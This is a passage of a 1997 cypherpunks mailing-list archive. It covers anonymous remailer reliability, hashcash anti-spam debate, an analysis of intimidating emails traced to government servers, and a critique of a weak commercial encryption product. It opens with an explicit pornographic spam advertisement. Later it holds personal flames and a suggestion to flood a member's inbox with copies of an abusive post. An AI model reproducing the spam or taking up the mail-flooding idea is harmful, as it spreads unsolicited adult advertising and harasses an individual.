<147712.133@4XXXluv2u.com> Filled with the hottest XXX action on the net. See it NOW for FREE... http://www.fleshgrotto.com/guests/ We feature Streaming XXX videos, LIVE feeds, huge XXX galleries, adult toys, imports, and much more!!! Our LIVE CyberSex can't be beat, see the Newest Blondes in our stable.. Ashley and Brianna. Come see how the latest in technological wizardry can make hardcore XXX action EXPLODE on your screen. No other site gives their guests so much... Check It Out. http://www.fleshgrotto.com/guests/ From raph at CS.Berkeley.EDU Mon Dec 15 07:02:15 1997 From: raph at CS.Berkeley.EDU (Raph Levien) Date: Mon, 15 Dec 1997 23:02:15 +0800 Subject: List of reliable remailers Message-ID: <199712151450.GAA31967@kiwi.cs.berkeley.edu> I operate a remailer pinging service which collects detailed information about remailer features and reliability. To use it, just finger remailer-list at kiwi.cs.berkeley.edu There is also a Web version of the same information, plus lots of interesting links to remailer-related resources, at: http://www.cs.berkeley.edu/~raph/remailer-list.html This information is used by premail, a remailer chaining and PGP encrypting client for outgoing mail. For more information, see: http://www.c2.org/~raph/premail.html For the PGP public keys of the remailers, finger pgpkeys at kiwi.cs.berkeley.edu This is the current info: REMAILER LIST This is an automatically generated listing of remailers. The first part of the listing shows the remailers along with configuration options and special features for each of the remailers. The second part shows the 12-day history, and average latency and uptime for each remailer. You can also get this list by fingering remailer-list at kiwi.cs.berkeley.edu. $remailer{'cyber'} = ' alpha pgp'; $remailer{"mix"} = " cpunk mix pgp hash latent cut ek ksub reord ?"; $remailer{"replay"} = " cpunk mix pgp hash latent cut post ek"; $remailer{"jam"} = " cpunk mix pgp hash middle latent cut ek"; $remailer{"winsock"} = " cpunk pgp pgponly hash cut ksub reord ?"; $remailer{'nym'} = ' newnym pgp'; $remailer{"squirrel"} = " cpunk mix pgp pgponly hash latent cut ek"; $remailer{'weasel'} = ' newnym pgp'; $remailer{"reno"} = " cpunk mix pgp hash middle latent cut ek reord ?"; $remailer{"cracker"} = " cpunk mix remix pgp hash ksub esub latent cut ek reord post"; $remailer{'redneck'} = ' newnym pgp'; $remailer{"bureau42"} = " cpunk mix pgp ksub hash latent cut ek"; $remailer{"neva"} = " cpunk pgp pgponly hash cut ksub ?"; $remailer{"lcs"} = " mix"; $remailer{"medusa"} = " mix middle" $remailer{"McCain"} = " mix middle"; $remailer{"valdeez"} = " cpunk pgp pgponly hash ek"; $remailer{"arrid"} = " cpunk pgp pgponly hash ek"; $remailer{"hera"} = " cpunk pgp pgponly hash ek"; $remailer{"htuttle"} = " cpunk pgp hash latent cut post ek"; catalyst at netcom.com is _not_ a remailer. lmccarth at ducie.cs.umass.edu is _not_ a remailer. usura at replay.com is _not_ a remailer. remailer at crynwr.com is _not_ a remailer. There is no remailer at relay.com. Groups of remailers sharing a machine or operator: (cyber mix reno winsock) (weasel squirrel medusa) (cracker redneck) (nym lcs) (valdeez arrid hera) This remailer list is somewhat phooey. Go check out http://www.publius.net/rlist.html for a good one. Last update: Thu 23 Oct 97 15:48:06 PDT remailer email address history latency uptime ----------------------------------------------------------------------- hera goddesshera at juno.com ------------ 5:03:45 99.86% nym config at nym.alias.net +*#**#**### :34 95.82% redneck config at anon.efga.org #*##*+#**** 2:00 95.44% mix mixmaster at remail.obscura.com +++ ++++++* 19:18 95.27% squirrel mix at squirrel.owl.de -- ---+--- 2:34:19 95.16% cyber alias at alias.cyberpass.net *++***+ ++ 11:26 95.11% replay remailer at replay.com **** *** 10:06 94.93% arrid arrid at juno.com ----.------ 8:50:34 94.41% bureau42 remailer at bureau42.ml.org --------- 3:38:29 93.53% cracker remailer at anon.efga.org + +*+*+*+ 16:32 92.80% jam remailer at cypherpunks.ca + +*-++++ 24:14 92.79% winsock winsock at rigel.cyberpass.net -..-..---- 9:59:18 92.22% neva remailer at neva.org ------****+ 1:03:02 90.39% valdeez valdeez at juno.com 4:58:22 -36.97% reno middleman at cyberpass.net 1:01:28 -2.65% History key * # response in less than 5 minutes. * * response in less than 1 hour. * + response in less than 4 hours. * - response in less than 24 hours. * . response in more than 1 day. * _ response came back too late (more than 2 days). cpunk A major class of remailers. Supports Request-Remailing-To: field. eric A variant of the cpunk style. Uses Anon-Send-To: instead. penet The third class of remailers (at least for right now). Uses X-Anon-To: in the header. pgp Remailer supports encryption with PGP. A period after the keyword means that the short name, rather than the full email address, should be used as the encryption key ID. hash Supports ## pasting, so anything can be put into the headers of outgoing messages. ksub Remailer always kills subject header, even in non-pgp mode. nsub Remailer always preserves subject header, even in pgp mode. latent Supports Matt Ghio's Latent-Time: option. cut Supports Matt Ghio's Cutmarks: option. post Post to Usenet using Post-To: or Anon-Post-To: header. ek Encrypt responses in reply blocks using Encrypt-Key: header. special Accepts only pgp encrypted messages. mix Can accept messages in Mixmaster format. reord Attempts to foil traffic analysis by reordering messages. Note: I'm relying on the word of the remailer operator here, and haven't verified the reord info myself. mon Remailer has been known to monitor contents of private email. filter Remailer has been known to filter messages based on content. If not listed in conjunction with mon, then only messages destined for public forums are subject to filtering. Raph Levien From nobody at REPLAY.COM Mon Dec 15 07:37:30 1997 From: nobody at REPLAY.COM (Anonymous) Date: Mon, 15 Dec 1997 23:37:30 +0800 Subject: Another of Gary Burnore's Lies Exposed In-Reply-To: <3491255e.66510714@news2.ibm.net> Message-ID: <199712151510.QAA24614@basement.replay.com> rashidk at mailexcite.com (Rashid Kaman) > X-No-Archive: yes > >Shades of McCarthyism.... > > Such big words, my my! :-) Sorry, I forgot you were from DataBasix, where most words are four letters in length. (Hint: I wasn't talking about CHARLIE McCarthy...) > >Strangely enough, a search of the public database of listed telephone numbers > >turns up nothing for you. > > Why did you look for it? To be a champion of privacy you first have > to respect privacy. Of course I respect privacy. Your phone number would only have been there if you'd CHOSEN to have it listed by the phone company, right? And if you'd chosen to have it listed, then it would be logical to assume that you WANTED people to have it. It's not like I went to your phone company and demanded that they turn over a listing of their unlisted numbers. (Your buddy Burnore, OTOH, did demand a list of all the users of the Huge Cajones Remailer from their logs. In case you're unclear on the concept, people use remailers so that people like Gary and Belinda WON'T have access to their e-mail addresses.) It was Gary Burnore and Belinda Bryan who've been denouncing "hiding behind" anything, so I found it sort of ironic that all of them have unlisted phone numbers while whining about my unlisted e-mail address. (Should I adopt Burnore's tactics and start calling the denizens of DataBasix "Unlisted Assholes"? Nah!) > >> >If remailers were shut down, I'd lose my ability to post. > >> > >> Why is that? > > > >For the same reason you'd no longer be able to post from mailexcite.com if > >someone decided to shut it down! > > That's not an answer, it's a cope out. "Cope out"? Sorry, I don't have a DataBasix-speak dictionary, and am not familiar with your in-house (or outhouse) jargon. Regardless of whether it is a "cope out" or not, it is an answer. Sorry if you don't approve. If the remailer I use for posting were to shut down, I obviously would no longer be able to utilize that resource, just as you'd no longer be able to use mailexcite.com if that were to be shut down. Something about that too difficult for you to understand? You might feel differently if Billy "Wotan" McClatchie had gone after Mailexcite rather than Mailmasher. From ge at Progressive-Systems.Com Mon Dec 15 08:28:27 1997 From: ge at Progressive-Systems.Com (Ge' Weijers) Date: Tue, 16 Dec 1997 00:28:27 +0800 Subject: hashcash spam prevention & firewalls In-Reply-To: <199712130059.AAA06343@server.eternity.org> Message-ID: On Sat, 13 Dec 1997, Adam Back wrote: [...] > (Hashcash is a way of proving that the sender has consumed a tunable > amount of CPU time. The verification process consumes negligible CPU > time. This allows us to require the would be spammer to spend say 20 > seconds per mail, which will slow him down considerably, over his > current tactics of 1000 long Bcc lists allowing him to hand off > spamming tasks to mail servers.) [...] Sounds like a headache to me: people use wildly different machines to handle their e-mail. Some places use 25 MHz '486 machines, others use 300 MHz Pentium-IIs, a difference of 1-2 orders of magnitude? Collision search is also easy to parallelize over a network, so the load can be shared using, say, 50 Pentium-II 300MHz PCs, costing less than $100,000 (we don't need lots of disk or memory, just a fast CPU). Here's at least three orders of magnitude for you. The '486 may be used by a school, while the 50 Pentium-II machines are owned by Spamford W., Esq. Now we're faced with a dilemma: we either limit the school's outgoing e-mail capacity severely, or Spamford will keep on sending spam. For every thousand messages the school sends Spamford can send a million. The risk: starting a CPU arms race. Ge' Ge' Weijers Voice: (614)326 4600 Progressive Systems, Inc. FAX: (614)326 4601 2000 West Henderson Rd. Suite 400 Columbus, OH 43220 http://www.Progressive-Systems.com From dlv at bwalk.dm.com Mon Dec 15 08:59:02 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Tue, 16 Dec 1997 00:59:02 +0800 Subject: Who's afraid of an uncensored forum? Good riddance to forger In-Reply-To: Message-ID: <1i0qHe20w165w@bwalk.dm.com> mj at creative.net writes: > > Tiny Tim is > >happy to bend over and let Declan (or Sandy or any other self-appointed > >censor) decide which of Timmy's rants are worth publishing. > > > > Look, I'm new to this list and don't know the history of these disputes - I > have neither information nor prejudices - but you must be aware that it's > difficult to take anyone who talks like this seriously. Or even to keep > listening. If you have a problem, you can killfile me or go to a modereated list. There are plenty of them. > > > > >I'm not the only victim of Declan's lies and forgeries. E.g., the Center for > >Deomcracy in Technology (CDT) complained to Declan's employer, Time Warner, > >about Declan's lies, forgeries, and misrepresentations of CDT's position. > > > > Can you document this? Yes, but I have better things do to. Search the list archives. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From dlv at bwalk.dm.com Mon Dec 15 08:59:21 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Tue, 16 Dec 1997 00:59:21 +0800 Subject: Plot to Overthrow U.S.Government: three indicted In-Reply-To: <199712150607.AAA07189@manifold.algebra.com> Message-ID: I get a feeling that we get new ones almost daily. I heard a story on CNN[1] last night. I was doing 2 other things at the same time. It went as follows: * a perp mail-ordered some bio materials that could be used to breed viruses * Unfortunately, there's no law against it. However the company he bought it from calls the feds * The police searched the perp's house and found guns and "white supremacist" literature. Apparently they got the search warrant solely on his mail order. * Unfortunately, the gun control laws need to be strengtheed * The perp hasn't been charged with anything. He claims (much irony in the talk head's voice) that he's a patriot, not a terrorist, and is working on a survavalist manifesto of some sort. (Apparently the sucker talked to a journalist.) Perhaps someone can find this on the CNN Web site. Fox News is much superior to CNN. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From emc at wire.insync.net Mon Dec 15 09:29:31 1997 From: emc at wire.insync.net (Eric Cordian) Date: Tue, 16 Dec 1997 01:29:31 +0800 Subject: Plot to Overthrow U.S.Government: three indicted In-Reply-To: Message-ID: <199712151721.LAA08869@wire.insync.net> Dr. Vulis writes: > * a perp mail-ordered some bio materials that could be used to breed viruses > * Unfortunately, there's no law against it. However the company he bought it > from calls the feds If you want the SWAT Team at your house immediately, just inquire about purchasing one of those handy little devices that writes the magnetic strip on credit cards. -- Eric Michael Cordian 0+ O:.T:.O:. Mathematical Munitions Division "Do What Thou Wilt Shall Be The Whole Of The Law" From nobody at REPLAY.COM Mon Dec 15 09:31:08 1997 From: nobody at REPLAY.COM (Anonymous) Date: Tue, 16 Dec 1997 01:31:08 +0800 Subject: No Subject In-Reply-To: Message-ID: <199712151722.SAA11051@basement.replay.com> bureau42 Anonymous Remailer writes: > On Sun, 14 Dec 1997 at 08:12:31 -0600 Human Gus-Peter wrote: >> It is interesting to note that the emails from >> treasury.gov constituted the same type of 'threat' that >> Bell was roundly accused of by government officials and >> the press. > I've seen brief mention of this before, but have never seen > any details on the list. Aside from Jim Choate questioning > my arithmetic or attention span, would anyone be kind enough > to provide pointers to information about incidents of c-p > list members having received unsolicited email from .gov? Check the archives. There was plenty of discussion when it happened. I'm convinced they used names pulled out of Bell's computer, not a cypherpunks subscriber list as they sent my copy of the SPAM to an email address that had long been retired at the time of the mailing, but had been used to exchange email with Jim. Far more active list members than I didn't get a copy. > Declan, did you catch a whiff of this when it happened? I > would think everyone's alarm bells would have gone off and > people would have been intensely interested in the messages > themselves, particularly the headers. They did, and we were. Here's a copy of one message I saved: To: cypherpunks at algebra.com Subject: gotcha (was Re: DEATH TO THE TYRANTS) References: <1.5.4.32.19970723233941.006d1374 at pop.pipeline.com> From: SL Baur In-Reply-To: Tim May's message of "Wed, 23 Jul 1997 21:21:48 -0700" Date: 23 Jul 1997 22:18:12 -0700 Message-ID: Tim May writes: > Namely, who is "irsnwpr at net.insp.irs.gov" and what does he or she think of > the "DEATH TO TYRANTS" subject header, sent to me (and maybe others). ... > The headers in the first of the messages I received were: > Received: from tcs_gateway1.treas.gov (tcs-gateway1.treas.gov > [204.151.245.2]) by you.got.net (8.8.5/8.8.3) with SMTP id PAA28395 for > ; Fri, 18 Jul 1997 15:29:59 -0700 ... > Received: from tcs_gateway1.treas.gov (tcs-gateway1.treas.gov > [204.151.245.2]) by you.got.net (8.8.5/8.8.3) with SMTP id PAA28954 for > ; Fri, 18 Jul 1997 15:39:39 -0700 If those headers are forged, it is an expert forgery. The MX hosts for the net.insp.irs.gov domain are fun: net.insp.irs.gov preference = 10, mail exchanger = tcs-gateway2.treas.gov net.insp.irs.gov preference = 20, mail exchanger = tcs-gateway1.treas.gov net.insp.irs.gov preference = 30, mail exchanger = gotcha.treas.gov irs.gov nameserver = gotcha.treas.gov irs.gov nameserver = nis.ans.net irs.gov nameserver = ns.ans.net tcs-gateway2.treas.gov internet address = 204.151.246.2 tcs-gateway1.treas.gov internet address = 204.151.245.2 gotcha.treas.gov internet address = 204.151.246.80 `gotcha.treas.gov'? It's a real host connected through ans.net ... 12 h10-1.t32-0.New-York.t3.ans.net (140.223.57.30) 139.839 ms 126.702 ms 125.82 ms 13 h11-1.t56-1.Washington-DC.t3.ans.net (140.223.57.21) 147.248 ms 124.774 ms 118.815 ms 14 f0-0.cnss60.Washington-DC.t3.ans.net (140.222.56.196) 192.54 ms 125.939 ms 166.529 ms 15 enss3080.t3.ans.net (192.103.66.18) 130.917 ms 131.057 ms 145.377 ms 16 gotcha.treas.gov (204.151.246.80) 133.065 ms 134.345 ms 131.596 ms Except for hop 16, this is the same traceroute as to tcs-gateway2.treas.gov. For what it's worth, the traceroute to tcs-gateway1 is slightly different: 8 h13-1.t16-0.Los-Angeles.t3.ans.net (140.223.9.14) 44.997 ms 51.526 ms 51.875 ms 9 h14-1.t112-0.Albuquerque.t3.ans.net (140.223.17.10) 60.895 ms 60.426 ms 57.762 ms 10 h14-1.t64-0.Houston.t3.ans.net (140.223.65.9) 81.131 ms * 85.067 ms 11 h14-1.t80-1.St-Louis.t3.ans.net (140.223.65.14) 117.62 ms 100.623 ms 104.878 ms 12 h10-1.t60-0.Reston.t3.ans.net (140.223.61.13) 126.368 ms 136.017 ms 123.367 ms 13 f2-0.c60-10.Reston.t3.ans.net (140.223.60.220) 129.505 ms 128.214 ms 128.52 ms 14 enss3079.t3.ans.net (204.148.66.66) 134.707 ms 162.912 ms 160.774 ms 15 tcs-gateway1.treas.gov (204.151.245.2) 154.268 ms * 155.898 ms From anon at anon.efga.org Mon Dec 15 09:43:39 1997 From: anon at anon.efga.org (Anonymous) Date: Tue, 16 Dec 1997 01:43:39 +0800 Subject: No Subject Message-ID: <4b9b4413a3c76c5844ee488a0193d669@anon.efga.org> If I live in the US and put the perl RSA code in my sig, then post in an international newsgroup, have I illegally exported encryption? If I put that same code on my web site, then post requests to view my site in an international newsgroup, have I exported it? What is the penalty for exporting powerful encryption? From tcmay at got.net Mon Dec 15 10:30:07 1997 From: tcmay at got.net (Tim May) Date: Tue, 16 Dec 1997 02:30:07 +0800 Subject: The "warnings" several of us received from Big Brother In-Reply-To: Message-ID: At 10:22 AM -0700 12/15/97, Anonymous wrote: >bureau42 Anonymous Remailer writes: >> I've seen brief mention of this before, but have never seen >> any details on the list. Aside from Jim Choate questioning >> my arithmetic or attention span, would anyone be kind enough >> to provide pointers to information about incidents of c-p >> list members having received unsolicited email from .gov? > >Check the archives. There was plenty of discussion when it happened. > >I'm convinced they used names pulled out of Bell's computer, not a >cypherpunks subscriber list as they sent my copy of the SPAM to an >email address that had long been retired at the time of the mailing, >but had been used to exchange email with Jim. Far more active list >members than I didn't get a copy. I got _two_ of the apparent "warnings," received by me before there was even any public announcement of the Jim Bell raid. As Anonymous notes in his message (snipped here), one of them was titled "Death to Tyrants!." The headers show no signs of standard forgery, and point back to government computers. I took this as warning that Big Brother is planning more raids and is trying to intimidate outspoken critics. Some country we live in, eh? The Land of the Freeh. --Tim May The Feds have shown their hand: they want a ban on domestic cryptography ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^2,976,221 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From djb at alaska.net Mon Dec 15 11:16:20 1997 From: djb at alaska.net (Daniel J. Boone) Date: Tue, 16 Dec 1997 03:16:20 +0800 Subject: The closed Nym list Message-ID: <34957D5E.720C5BC5@alaska.net> Tim May wrote: > Declan decided that rebroadcasting articles out of Nym would not be > allowed, but he said nothing about not mentioning its existence. (Nor would > I have agreed to be on a list whose very existence I could not disclose.) > Anyway, tonight when I mentioned its existence as I was posting an article > here that I wrote for the Nym list, I half-expected some comments from > Dimitri. > > But I didn't expect someone to post the subscription instructions > (anonymously, of course). Hint: it wasn't I. > > Anyway, I suppose that by mid-morning tomorrow Declan is going to have to > decide how to deal with subscriptions by Vulis, Human Gus-Peter, Toto, and > all the others. The Nym list appears to be closed. (The web page says so -- so I didn't try.) This state of affairs may even be my fault. The history, for those who care, is appended. It's a shame -- if David Brin really is posting there as one of Tim's recent messages suggested I'd be very interested in seeing his posts. (Thanks, Tim, for reposting yours here.) I still don't think it makes much sense to have a conversation about the use of nyms and then try to protect the posters' words from public view. If posters are concerned about public scrutiny, why not use a nym? Not to mention the fact that one would have to keep the list closed to have a prayer of enforcing the no-repost rule. --Daniel Boone History: Robert Hettinga was briefly forwarding "nym" posts to e$pam, where I saw them. Declan publically requested that posts not be forwarded. I sent Robert a message asking if he was going to comply -- and expressed (to Robert) my lack of respect for a no-forwarding policy. Robert (that notorious cross-pollinizer that he is) forwarded my message to Declan, which was unfortunate -- as Declan no doubt considered my message insulting. (Addressed to Declan, it would have been.) I got a very chilly "response" from Declan about how he had no duty to entertain me with his list traffic. I took the opportunity to ask him how his no-repost rule would fare when someone using a nym started reposting the traffic publicly. He responded with "the list is now closed" or words to that effect. I realized too late he may have thought _I_ was threating to do the evil reposting deed. From ant at notatla.demon.co.uk Mon Dec 15 11:21:42 1997 From: ant at notatla.demon.co.uk (Antonomasia) Date: Tue, 16 Dec 1997 03:21:42 +0800 Subject: hashcash spam prevention & firewalls Message-ID: <199712151830.SAA02083@notatla.demon.co.uk> Adam Back : > How about this alternative which achieves the same functionality and > removes the juicy supeona target: > Turn on hashash database for all mails. That means hashcash gets put > in the database to prevent double spending. .... > So now when you reply to a message, on it's way out via the mail hub, > you remove that hashcash token from the double spending database. > This means that the sender can cache sent hashcash tokens, and re-use > them when after he gets a reply. Doesn't this invite the spammer to Bcc an accomplice with the target ISP ? The accomplice replies; thereby freeing the coin for reuse. > I am told by one subscriber to look at TIS firewall toolkits imap > program. You may have meant "smap". -- ############################################################## # Antonomasia ant at notatla.demon.co.uk # # See http://www.notatla.demon.co.uk/ # ############################################################## From tcmay at got.net Mon Dec 15 12:11:11 1997 From: tcmay at got.net (Tim May) Date: Tue, 16 Dec 1997 04:11:11 +0800 Subject: The closed Nym list In-Reply-To: <34957D5E.720C5BC5@alaska.net> Message-ID: (I'm cross-posting this to the Nym list. While posts from within the Nym list are not supposed to be cross-posted outside the list, there are of course no rules about including articles from the outside world, or from cross-posting _in_. Followups may have to edit the distribution list, though.) At 11:56 AM -0700 12/15/97, Daniel J. Boone wrote: >The Nym list appears to be closed. (The web page says so -- so I didn't >try.) This state of affairs may even be my fault. The history, for >those who care, is appended. > >It's a shame -- if David Brin really is posting there as one of Tim's >recent messages suggested I'd be very interested in seeing his posts. >(Thanks, Tim, for reposting yours here.) Yes, it's a shame. And, as you and others have pointed out, anyone who thinks their messages on the "Nym" list will not eventually be published or made available to Web search engines has been living on another planet for the past several years. Let me emphasize that I fully support Declan's right to run his list as he sees fit. Normally I avoid posting to lists that are under the personal control of some editor or manager, which is why I have avoided Coderpunks, Cryptography, Fight-Censorship, etc. But I made an exception in this case, as I felt the topic of "nyms" was just too important to me to avoid the list on a matter of principle. The motivation for the "closed list, no retransmission outside the list" rule was mostly because some of the participants wanted to be able to speak freely without being quoted in other places, as I understood the arguments. Declan said that several participants had told him they wouldn't feel comfortable posting to the list if they knew their comments might appear elsewhere. (Sorry I can't quote it exactly, but that's the rule the list is operated under.) It's _doubly_ ironic because digital pseudonyms can be used for just this sort of protection, and because we currently have only one obvious pseudonym (Black Unicorn) posting. I believe that submissions to the list must be by subscribers only, as Declan said recently that he is considering allowing posting from addresses other than those subscribers subscribed under. This means a list devoted to discussion of digital pseudonyms is itself being protected by laws (Declan's laws) rather than by technology. It also means the sage participants are being shielded from some of the more interesting uses of nyms. Doubly ironic, indeed. Having said this, it's not all that big a deal. I've felt little need to retransmit the messages of others to this and other lists. Nor do I care especially strongly that the participants on Nym are themselves being shielded from nyms. It bemuses me. >I still don't think it makes much sense to have a conversation about the >use of nyms and then try to protect the posters' words from public >view. If posters are concerned about public scrutiny, why not use a >nym? Not to mention the fact that one would have to keep the list >closed to have a prayer of enforcing the no-repost rule. Indeed. --Tim May The Feds have shown their hand: they want a ban on domestic cryptography ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^2,976,221 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From ulf at fitug.de Mon Dec 15 12:46:51 1997 From: ulf at fitug.de (Ulf =?iso-8859-1?Q?M=F6ller?=) Date: Tue, 16 Dec 1997 04:46:51 +0800 Subject: Identity, Persistence, Anonymity, and Accountability--Part I In-Reply-To: Message-ID: <9712152040.AA60664@public.uni-hamburg.de> > >Sounds like a good way to sap some of the energy from the cp list. > [...] > But I didn't expect someone to post the subscription instructions > (anonymously, of course). Hint: it wasn't I. Me neither, but it's no big surprise that the instructions didn't remain secret for long. Posting supposedly secret information is one of the things remailers have been build for, after all. It is precisely for that reason that the don't-forward policy will not protect anyone. If you are saying something controversial, people will forward it, if you like it or not. (Remailers will protect you, because they allow you to send messages without your `identity' attached.) Anyway, I don't expect the new list to sap energy from the cypherpunks list -- rather the contrary. For example, Tim probably wouldn't have written his essay (and posted it to cypherpunks), if not for the Nym list. Declan managed to get together a number of people who haven't been seen on cypherpunks for years, if ever. Allowing posters (as opposed to readers, see above) on invitation only doesn't seem too bad to me. The Nym list promises to be interesting. From real at freenet.edmonton.ab.ca Mon Dec 15 12:54:10 1997 From: real at freenet.edmonton.ab.ca (Graham-John Bullers) Date: Tue, 16 Dec 1997 04:54:10 +0800 Subject: your mail In-Reply-To: Message-ID: On Sun, 14 Dec 1997, Anonymous wrote: I think Vulis needs each of us to send ten copies of this back to him. > Foulmouthed Timothy May rehashes his lies like a rabid parrot > choking on a stale mantra stuck in its poisonous beak. > > o/ \ / \ / / \o > /# ##o # o## #\ Timothy May > / \ / \ /o\ / |\ / \ > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Graham-John Bullers Moderator of alt.2600.moderated ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ email : : ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http://www.freenet.edmonton.ab.ca/~real/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From abdiel at worldnet.att.net Mon Dec 15 13:16:16 1997 From: abdiel at worldnet.att.net (Alex Woolfson) Date: Tue, 16 Dec 1997 05:16:16 +0800 Subject: Encrypted Magic Folders Message-ID: <001001bd099c$621f2b80$09a0400c@default> Hello! First of all let me go on record by saying that I really like the idea and the interface you've designed for your product, Encrypted Magic Folders. The interface is easy to use and efficient. Job well done! There are, however, some security concerns I'd like resolved before I would be interested in purchasing your product. You scramble filenames which is an excellent idea. I might suggest that you also scramble the directory names as well. When using the freeware program Directory Snoop 1.1 designed by Kent Briggs (www.briggsoft.com) in Windows 95, I was easily able to find the directories that EMF had hidden. I wasn't able to access them, but I could see they were there *and also what their names were*. I don't know if it is possible to hide these directories from such a program (although, obviously, that would be ideal), but it seems that we should at least be able to scramble the directory filenames so that little information is gleaned about which directories are worth attacking by cryptanalysis and which are not worth the attackers' trouble. On the question of encryption algorithms, let me add my voice to those who have been suggesting that you use strong and tested algorithms like IDEA or Blowfish. I feel very strongly that this is essential to any product that purports to provide true security to its users. If your product were meant to merely keep your kid sister from reading your files, then the security through obscurity your product seems to offer would be sufficient. But your marketing materials suggest that you wish to offer a greater level of security than that. Not being a cryptologist, I consulted with members of the Cypherpunk mailing list to aid me in evaluating the security of your software referring them to the "How Secure Is It?" section of your Help file. These guys really know their stuff. The verdict was unanimous--that the security of Encrypted Magic Folders was not sufficient for anything but the most casual uses. I have included below one of the more thorough and detailed of the replies in the hopes that it will be useful in improving the strength of your software. I would also feel more comfortable if you were willing to have the source code of your product reviewed by industry experts (such as Bruce Schneier of Counterpane Systems who wrote the very well respected Applied Cryptography book as well as Blowfish). If you are concerned about someone stealing your idea, non-disclosure agreements should be able to offer sufficient legal protection. Truly secure algorithms and programs can withstand this kind of scrutiny without compromising their security. Relying on the fact that your company is "too small and obscure" for an attacker to develop an prepackaged attack offers little comfort--if someone really wants to have access to my files, I imagine they'll devote the time to attempt to crack your product--copyright infringement notwithstanding! If you haven't already, I would strongly suggest that your developers read Schneier's book Applied Cryptography. It does a much better job of explaining the difference between true security and security through obscurity. And it's written for programmers who wish to use cryptography in their programs. It's not a bad read, either. :-) I am really interested in purchasing a product like Encrypted Magic Folders, but for such an application, security is obviously the biggest priority. I believe others who have not taken the trouble to write you feel the same way. If EMF makes use of strong encryption and is willing to have the source code of its product reviewed by industry experts, I would be interested in paying for it. For a $60.00 product, I believe it is fair to expect this kind of protection. Yours Alex Woolfson Below is the response of Ray Arachelian of the Cypherpunks list. There is a bit of sarcasm involved, but I trust you'll be able to see beyond it to the valid criticism he makes. I hope you find it useful. On Thu, 4 Dec 1997, Alex Woolfson wrote: > EMF's encryption offers good protection and excellent speed. It > hasn't been broken yet. It is, as far as we know, exportable. THERE > IS NO BACKDOOR. Should you forget your password there is nothing we > can do to decrypt your encrypted files. If it is exportable, then it is weak encryption by definition. The question is how weak. Reading their marketting crap provides more insights in just how lame this is: > Quite a few people ask us how big EMF's key size is. They've learned > from other encryption programs that the bigger the key the stronger > the encryption. This really doesn't apply to EMF. > > We developed our own encryption instead of using a standard because > we wanted EMF to be able to decrypt at the byte level. In this way > we only need to decrypt/encrypt the data your programs require and > not the entire file. In other words: security through obscurity. Smells like snake oil, looks like snake oil, it even has bits of snake scales in it. Heck, if they say that the key size is not important, it's likely very tiny, or regardless of what key size you'd use (if you had any choice), it's such a weak cypher that it wouldn't get you anything. > In theory, because we decrypt at the byte level, the biggest key we > could use would be 8 bits - which is a joke. So instead of > decrypting every hunk of data using the same key, as most other > encryption programs do, we developed an algorithm to vary the key > based on the data's location within the file. In this way we get > both high security and high speed. We are trying to patent EMF's > encryption method. Whoop. so the key is the location of the data? At most, this means a 32 bit key on most file systems, 64 bits on newer file systems. This assumes that your file is long enough for that. But as a key, this is totally useless as the key is the location which is visible to all. Likely they would be wise to "mix" this location key with the passphrase. This offers little more than CBC would. The only difference is that CBC is based on the previous block, where this is based on the location of a byte in the file (which is known) whereas a CBC depedns on knowledge of the previous block. If they did it the right way, they'd use the passphrase to build a lookup table of large keys based on the byte location within a file, but because this depends on your passphrase, your security is still that of the passphrase at maximum. There may be ways to weaken this. > Having said all that, truth is, most encryption isn't "cracked" by > breaking the algorithm, it's done by guessing the password. Brute > guessing of passwords tends to level the playing field tremendously. > We actually have an advantage because we aren't an established > standard. Because we're small and relatively obscure chances are no > one will take the effort to write a password guessing program (which > incidentally would violate copyright and intellectual property laws.) > Even if someone were to go thru all this effort we could easily > change the encryption method for the next update. This is total bullshit. It's Grade A, government approved exportable snake oil. Just because they are small and obscure it doesn't guarantee you any extra safety. Just because nobody has bothered to write a brute forcer for their code doens't mean nobody can do so. And no, this would not violate any of their copyright if the author of the brute forcer proggie wrote it without copying their code. It might violate intellectual property laws if they had a patent on it, but they can't get one since they're going by security through obscurity. They claim to be applying for a patent, but if they do, their code is published and their weaknesses will be displayed. It might violate trade secret laws if someone who has the source or the algorithm shares it, but not if someone reverse engineers it (depending on reverse engineering laws of course.) Just because they could "rewrite" the code in the next update against cracking or brute force attacks does not buy you security. FYI: If you use this crap and someone steals a copy of the encrypted files off your hard drive, it doesn't matter what new updates this company produces. The fact is you used the older breakable version, the attacker has your cyphertext and will decode it. > If we used an established encryption method like DES or Blowfish then > your files would probably have to be fully decrypted when opened, > would exist on disk as unencrypted while you're using them, and then > would need to be encrypted when closed. Translation: We don't use CBC, because that would be more work and slow down our crappy cypher. Deeper translation: break any portion of any encrypted file and you'll likely break the whole thing if not huge parts of it. "Established encryption methods (sic)" use CBC because it adds security. Their algorithms are well published and well known so people can find their weaknesses and publicise them. Whatever weaknesses there are in this thing are hidden from those who can't or won't reverse engineer it. But there are plenty of those who can and will, and have no qualms about releasing it anonymously, or worse: 